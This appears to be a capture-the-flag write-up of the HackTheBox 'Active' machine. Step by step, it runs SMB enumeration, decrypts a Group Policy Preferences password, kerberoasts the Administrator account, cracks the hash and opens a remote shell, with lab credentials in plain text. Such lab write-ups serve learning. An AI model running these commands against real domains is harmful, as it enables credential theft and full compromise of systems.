Home Active
Post
Cancel

Active

Overview


Windows Server running Active Directory under the domain of active.htb. Enumeration revealed that service account credentials were stored through Group Policy Preferences (GPP) on SMB. Utilizing these credentials by querying the DC revealed an administrator account SPN. The hash that was returned was easily cracked with hashcat, yielding full system access to this machine through a SMB shell.

Enumeration


Nmap

1
nmap -p- 10.10.10.100 -oA scans/allports -T4

Desktop View

These results are suggesting that active directory is running on this system. We’ll now run a deeper scan on the returned ports.

1
nmap -A -p 53,88,135,139,445,464,593,636,3268,3269,5722,9389,47001 10.10.10.100 -oA scans/allaggports -T4

Desktop View

We now have a hostname which we’ll add to our hosts file.

1
echo -e "10.10.10.100\tactive.htb" | sudo tee -a /etc/hosts

Lets do some enumeration over SMB.

Port 445 - SMB

1
smbclient -N -L \\active.htb

Desktop View

Some interesting shares are being shown, lets use crackmapexec to gather more information!

1
crackmapexec smb active.htb -u '' -p '' --shares

Desktop View

Looks like we can dive deeper on Replication.

1
impacket-smbclient active.htb

Desktop View

Through some research, I have found a wonderful reference below:

https://vk9-sec.com/exploiting-gpp-sysvol-groups-xml/ https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#cached-gpp-pasword

Funnily enough the above link covers the same box we are on! Just more reinforcement!

1
2
3
4
smbclient -N \\\\active.htb\\replication

recurse ON
prompt OFF

Desktop View

Desktop View

We have successfully downloaded all the files within the policies directory. Now lets do some grep magic!

1
grep -rie password {*

Desktop View

Bingo! Looks like we have potential credentials for a service account that goes by active.htb\SVC_TGS. Additionally, it looks like the password is encrypted.

Luckily we can decrypt it with the below command:

1
2
3
4
gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

Output:
GPPstillStandingStrong2k18

Now we’re cooking, since we know this is most likely a domain controller, lets test these credentials!

1
crackmapexec smb active.htb -u "SVC_TGS" -p "GPPstillStandingStrong2k18"

Desktop View

This is great, the account is valid! We can now query the DC for potential SPNs.

1
impacket-GetUserSPNs active.htb/"SVC_TGS:GPPstillStandingStrong2k18" -dc-ip active.htb -request

Desktop View

We got a hash! From inspecting it further we can see it is for the Administrator account! Lets copy it to a file and attempt to crack it with john.

1
john admin.hash --wordlist=/usr/share/wordlists/rockyou.txt

Initial Access


1
impacket-psexec active.htb/Administrator:[email protected]

Desktop View

Successful crack! Lets see if we can get a shell with impacket-smbexec.

1
impacket-smbexec "active.htb/Administrator:Ticketmaster1968"@active.htb

Desktop View

Success! Active has been completely compromised!

This post is licensed under CC BY 4.0 by the author.